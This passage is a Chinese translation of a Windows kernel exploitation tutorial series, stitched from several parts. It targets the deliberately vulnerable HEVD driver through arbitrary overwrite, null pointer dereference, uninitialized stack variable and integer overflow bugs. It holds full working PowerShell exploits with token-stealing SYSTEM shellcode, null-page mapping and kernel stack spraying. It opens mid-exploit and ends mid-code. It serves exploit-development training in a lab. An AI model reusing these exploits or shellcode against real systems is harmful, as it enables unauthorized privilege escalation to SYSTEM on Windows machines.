$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION
$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()
if ([System.IntPtr]::Size -eq 4) {
    $SYSTEM_MODULE_INFORMATION_Size = 284
} else {
    $SYSTEM_MODULE_INFORMATION_Size = 296
}
 
# Read SystemModuleInformation array count
# & increment offset IntPtr size
$BuffOffset = $BuffPtr.ToInt64()
$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)
$BuffOffset = $BuffOffset + [System.IntPtr]::Size
 
# Loop SystemModuleInformation array
# & store output in $SystemModuleArray
$SystemModuleArray = @()
for ($i=0; $i -lt $HandleCount; $i++){
    $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset
    $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)
     
    $HashTable = @{
        ImageName = $Cast.ImageName
        ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}
        ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)"
    }
     
    $Object = New-Object PSObject -Property $HashTable
    $SystemModuleArray += $Object
 
    $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size
}
 
# Free SystemModuleInformation array
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)
 
# Get pointer to nt!HalDispatchTable
echo "`n[>] Leaking HalDispatchTable pointer.."
$KernelBase = $SystemModuleArray[0].ImageBase
$KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1]
$KernelHanle = [EVD]::LoadLibrary("$KernelType")
$HALUserLand = [EVD]::GetProcAddress($KernelHanle, "HalDispatchTable")
$HalDispatchTable = $HALUserLand.ToInt32() - $KernelHanle + $KernelBase
$WriteWhere = [System.BitConverter]::GetBytes($HalDispatchTable+4)
echo "[+] Kernel Base: 0x$('{0:X}' -f $KernelBase)"
echo "[+] HalDispatchTable: 0x$('{0:X}' -f $HalDispatchTable)"
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)
 
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$WriteWhat = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"
 
# Get handle to driver
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# TriggerArbitraryOverwrite() IOCTL = 0x22200B
# => [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($WriteWhat.Length)
[System.Runtime.InteropServices.Marshal]::Copy($WriteWhat, 0, $WriteWhatPtr, $WriteWhat.Length)
$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + $WriteWhere
 
echo "`n[>] Sending WriteWhatWhere buffer.."
echo "[+] IOCTL: 0x22200B"
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] WriteWhere: 0x$('{0:X}' -f $($HalDispatchTable+4)) => nt!HalDispatchTable+4`n"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
 
# NtQueryIntervalProfile()->KeQueryIntervalProfile()
# => KeQueryIntervalProfile+0x23-> call dword HalDispatchTable+0x4
#---
# kd> 
# nt!KeQueryIntervalProfile+0x23:
# 82cd0836 ff150404b382    call    dword ptr [nt!HalDispatchTable+0x4 (82b30404)]
# 82cd083c 85c0            test    eax,eax
# 82cd083e 7c0b            jl      nt!KeQueryIntervalProfile+0x38 (82cd084b)
#---
echo "[>] Calling NtQueryIntervalProfile trigger..`n"
[UInt32]$Dummy = 0
[EVD]::NtQueryIntervalProfile(0xb33f,[ref]$Dummy) |Out-Null
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同样的，思考一下，在污染了HalDispatchTable指针后，我们有效的创建了一个内核之门。我们总是可以在同样的偏移处覆盖我们的shellcode并通过调用NtQueryIntervalProfile来直接运行内核中我们的新代码。






  
  
  Welcome file
  





  第十二部分：内核利用程序之空指针引用

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第三篇。点击查看原文。


欢迎回到Windows exp开发系列教程的第12部分。今天我们来快速编写一个基于HEVD漏洞驱动的空指针引用exp。环境部署的更多细节请参考第十部分。让我们开始吧！


	
HackSysExtremeVulnerableDriver (hacksysteam) - here



	
EMET - here



	
Small Hax to avoid crashing ur prog - here





侦查挑战

先看一看有漏洞的函数部分(here).。

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));
 
        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);
 
        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
 
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }
 
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
 
        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
 
            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
 
            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
 
            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");
 
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


可以看到这里有一个魔数的检查。如果检查通过则打印该值和回调函数的地址（这是正常的执行流），反之则释放池内存，将指针置空。到这里都没有什么问题，但是此后，在有漏洞的版本中，该驱动程序仅仅简单的调用了回调函数而没有检查该回调函数此前是否被置空了。

该函数的IOCTL码是0x22202B。关于如何识别IOCTL码，请参考本系列文章的第十部分和第十一部分。让我们快速的跳入到IDA中来看看该函数。
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因此，如果我们调用了TriggerNullPointerDereference函数并传入该魔数，理论上我们应该会执行到该函数且不会触发空指针引用。使用下面的POC来进行测试。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
  
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
  
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
  
    [DllImport("kernel32.dll")]
    public static extern uint GetLastError();
}
"@
  
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
  
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
$Buffer = [System.BitConverter]::GetBytes(0xbad0b0b0)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22202B`n"
[EVD]::DeviceIoControl($hDevice, 0x22202B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null
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完美，没有崩溃，没有触发异常。如果魔数不匹配的话，我们就会进入调用空指针回调函数的代码块。

[image: ]

此后我们跳入到下一个指令块，这里空指针引用被触发。

[image: ]

很好，让我们在此函数下个断点并验证我们的理论！我们需要做的仅仅是传递一个不匹配的魔数（例如：0xdeadb33f）。

[image: ]

切实触发了空指针引用。你可能从上面的C++代码中注意到了这里触发了一个驱动异常例程。这非常好毕竟我们无需以BSOD告终。

Pwn

这里唯一的技巧就是在于如何在0x00000004分配一个双字(dword)。我强烈建议你快速的看一下rohitab，一个最有趣的阐述。

和linux不同，Windows允许低权限用户去映射用户进程的上下文到0页(null page)。这一功能在直觉上有一点遮蔽性，毕竟VirtualAlloc和VirtualAllocEx在分配的基地址低于0x00001000时都以拒绝访问而告终。然而，利用NtAllocateVirtualMemory函数则没有这样的限制。下列代码可以用于阐述这一现象。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
  
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        uint ZeroBits,
        ref UInt32 AllocationSize,
        UInt32 AllocationType,
        UInt32 Protect);
}
"@
  
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 2048 # 2kb, seems like a nice number
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}


前面提到的文章看起来有一点荒谬，其作者无意中想到了这样一个好点子。预分配0页可以阻止空指针引用漏洞的利用（EMET就是这样做的）。。。

我们可以复用前面文章中窃取token的shellcode。这一次无需任何改动，因为我们劫持了另一个函数调用。

$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)


澄清一下我们的exp的通用安装方法：（1）把我们的shellcode放在内存中任意位置，（2）在程序的0页上分配内存，（3）把shellcode的地址写在0x00000004，（4）触发空指针引用。

终结

以上就是全部的过程，请参考完整的exp来掌握更多信息。
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  Welcome file
  





  第十三部分：内核利用程序之未初始化栈变量

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第四篇。点击查看原文。


欢迎回到Windows exp开发系列教材的第13部分。今天我们将编写一个基于HEVD有漏洞驱动的未初始化栈变量exp。调试环境的安装请参考第十部分。让我们开始吧！


	NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques (@j00ru) - here



侦查挑战

简单的看一下有问题的函数(here)。

NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
 
#ifdef SECURE
    // Secure Note: This is secure because the developer is properly initializing
    // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
    // the callback
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};
#else
    // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
    // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure
    // before calling the callback when 'MagicValue' does not match 'UserValue'
    UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable;
#endif
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(UNINITIALIZED_STACK_VARIABLE),
                     (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE));
 
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;
 
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable);
 
        // Validate the magic value
        if (UserValue == MagicValue) {
            UninitializedStackVariable.Value = UserValue;
            UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
        }
 
        DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value);
        DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback);
 
#ifndef SECURE
        DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#endif
 
        // Call the callback function
        if (UninitializedStackVariable.Callback) {
            UninitializedStackVariable.Callback();
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


如果我们传入一个正确的魔数，它会填充变量以及回调参数。如果传递的值不正确那么就不会填充。这里的问题在于变量定义时并没有设置一个特定的初始值。由于该变量布局在栈上，它会拥有一个前调用函数遗留的随机垃圾值。注意到这样的一个检查（if UninitializedStackVariable.Callback…）毫无卵用并不能阻止其崩溃。

该函数的IOCTL码是0x22202F。可以查看本系列教程的第十部分和第十一部分来了解IOCTL是如何被识别的。转入IDA来看看这个函数。
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思考一下上图的4个函数块。如果比较成功我们就会命中绿色块，在这里我们的变量被填充了适当的值，此后在红色块中当回调函数被调用时也不会出什么意外。
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不错，然而如果我们比较失败了，跳过了绿色快，继续下行调用函数的时候，我们调用的将是一个内核栈上的垃圾值！
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这个值是不固定的，如果你尝试重现，很可能会在Windbg中看到不同的值。在虚拟机BSOD之前，让我们快速的看一下该变量距离当前栈起始位置有多远。
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计算方式：0x8a15ced0 - 0x8a15c9cc = 0x504 (1284 bytes)

让我们重新执行并对BSOD进行心智健全检查。
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Pwn

如果我们可以覆盖内核栈上的整型指针为我们shellcode的地址就大功告成了，但是这要怎么做呢？看起来内核栈喷射是个办法，我强烈推荐你去阅读@j00ru的这篇文章 。有一个未文档化的函数，NtMapUserPhysicalPages，我们不关心它用于干什么，但它的一部分功能是拷贝输入的字节到内核栈上的一个本地缓冲区。最大尺寸可以拷贝1024*IntPtr::Size(32位机器上是4字节=>4096字节)。对我们的需求来说足够了，下面的POC用以展示！

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("ntdll.dll")]
    public static extern uint NtMapUserPhysicalPages(
        IntPtr BaseAddress,
        UInt32 NumberOfPages,
        Byte[] PageFrameNumbers);
}
"@
 
# $KernelStackSpray = 4*1024
$KernelStackSpray = [System.BitConverter]::GetBytes(0xdeadb33f) * 1024
 
# This call will fail with NTSTATUS = 0xC00000EF (STATUS_INVALID_PARAMETER_1),
# however, by that time the buffer is already on the Kernel stack ;)
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null


我们在NtMapUserPhysicalPages函数返回前下一个断点，运行POC以检阅内核栈。
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完美，在NtMapUserPhysicalPages返回后，栈应该被设置下去。因此我们可以污染该未初始化栈变量并调用该驱动函数。注意到该喷射是不连续的，巡视之后我发现栈上有大小相当的块（sizable chunks）但是他们被存储的值分割开来（我推测）。幸运的是，我们需要的偏移处可以被正确设置。

还有个关键点是栈不是一成不变的，因此最好在恰好触发bug之前进行喷射，这可以避免缓冲区被更少的操作修改。

再一次，我们覆盖该函数调用为那个重用的窃取token的shellcode地址，它和前面的章节一致无需任何修改。

$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)


我们的exp工作流将如下：（1）将shellcode放在内存任意位置，（2）使用指向shellcode的指针喷射内核栈，（3）触发未初始化变量漏洞。

终结

这就是所有的内容，可以参考下面的完整exp来了解更多信息。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);  
 
    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
 
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);  
 
    [DllImport("ntdll.dll")]
    public static extern uint NtMapUserPhysicalPages(
        IntPtr BaseAddress,
        UInt32 NumberOfPages,
        Byte[] PageFrameNumbers);
}
"@
 
# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC3                                # ret
)
  
# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$ShellcodePtr = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $ShellcodePtr, $Shellcode.Length)
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $ShellcodePtr.ToInt32())"
 
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
 
if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}
 
# j00ru -> nt!NtMapUserPhysicalPages and Kernel Stack-Spraying Techniques
# Shellocde IntPtr spray..
$KernelStackSpray = [System.BitConverter]::GetBytes($ShellcodePtr.ToInt32()) * 1024
echo "`n[>] Kernel stack spray.."
echo "[+] Spray buffer: $(1024*[IntPtr]::Size)"
echo "[+] Payload size: $([IntPtr]::Size)`n"
 
echo "[>] Call NtMapUserPhysicalPages & trigger bug.."
echo "[+] Radio silence..`n"
[EVD]::NtMapUserPhysicalPages([IntPtr]::Zero, 1024, $KernelStackSpray) |Out-Null
$Buffer = [System.BitConverter]::GetBytes(0xdeadb33f)
[EVD]::DeviceIoControl($hDevice, 0x22202F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
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  Welcome file
  





  第十四部分：内核利用程序之整数溢出

fuzzySecurity于16年更新了数篇Windows内核exp的教程，本文是内核篇的第五篇。点击查看原文。


欢迎回到Windows exp开发系列教程的第十四部分。今天我们来完成另一个基于HEVD漏洞驱动程序的exp。本次我们看一看整数溢出，这不包括GS栈溢出（后面会涉及到）和类型混淆（太简单了，exp在 GitHub），这将是最后一个简单的漏洞利用！调试环境的按照请参考本系列的第十部分。


	HackSysExtremeVulnerableDriver (hacksysteam) - here



侦查挑战

让我们看看相关漏洞函数(here)。

NTSTATUS TriggerIntegerOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    ULONG Count = 0;
    NTSTATUS Status = STATUS_SUCCESS;
    ULONG BufferTerminator = 0xBAD0B0B0;
    ULONG KernelBuffer[BUFFER_SIZE] = {0};
    SIZE_T TerminatorSize = sizeof(BufferTerminator);
 
    PAGED_CODE();
 
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(KernelBuffer));
 
        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", &KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", sizeof(KernelBuffer));
 
#ifdef SECURE
        // Secure Note: This is secure because the developer is not doing any arithmetic
        // on the user supplied value. Instead, the developer is subtracting the size of
        // ULONG i.e. 4 on x86 from the size of KernelBuffer. Hence, integer overflow will
        // not occur and this check will not fail
        if (Size > (sizeof(KernelBuffer) - TerminatorSize)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
 
            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#else
        DbgPrint("[+] Triggering Integer Overflow\n");
 
        // Vulnerability Note: This is a vanilla Integer Overflow vulnerability because if
        // 'Size' is 0xFFFFFFFF and we do an addition with size of ULONG i.e. 4 on x86, the
        // integer will wrap down and will finally cause this check to fail
        if ((Size + TerminatorSize) > sizeof(KernelBuffer)) {
            DbgPrint("[-] Invalid UserBuffer Size: 0x%X\n", Size);
 
            Status = STATUS_INVALID_BUFFER_SIZE;
            return Status;
        }
#endif
 
        // Perform the copy operation
        while (Count < (Size / sizeof(ULONG))) {
            if (*(PULONG)UserBuffer != BufferTerminator) {
                KernelBuffer[Count] = *(PULONG)UserBuffer;
                UserBuffer = (PULONG)UserBuffer + 1;
                Count++;
            }
            else {
                break;
            }
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
 
    return Status;
}


驱动函数比较了用户提供的缓冲区长度和驱动分配缓冲区的长度。然而在有漏洞的版本中，这一检查的执行是这样的：

BufferTerminator = 0xBAD0B0B0
InputBuffer.Size + BufferTerminator.Size > KernelAllocatedBuffer.Size


很明显的bug，terminator的大小是4字节，所以如果我们通过DeviceIoCtrl给驱动提供一个大小在0xfffffffc到0xffffffff的缓冲区的话，整数会溢出并借此通过了这一检查！我们可以在PowerShell控制台中做相似的操作来展示这一问题。

PS C:\Users\b33f> 0xfffffffc+4
0
PS C:\Users\b33f> 0xffffffff+4
3


该函数的IOCTL码为0x222027。可以参考本系列教程的第十和第十一部分来查看IOCTL码是如何获取的。快速跳入IDA，看看这个函数。下图中我们可以看到函数的开头存在着错误的长度检查。

[image: ]

跳过这块代码，我们会进入一个循环，它将拷贝用户缓冲区的数据岛内核缓冲区。注意下面的橘色块，拷贝操作将一直持续下去直到遇到缓冲区终止标志DWORD（译者注：其实就是0xbad0b0b0）。
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简单的填充一些期望值给缓冲区，保证我们可以调用到相关函数。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
   
public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);
   
    [DllImport("Kernel32.dll", SetLastError = true)]
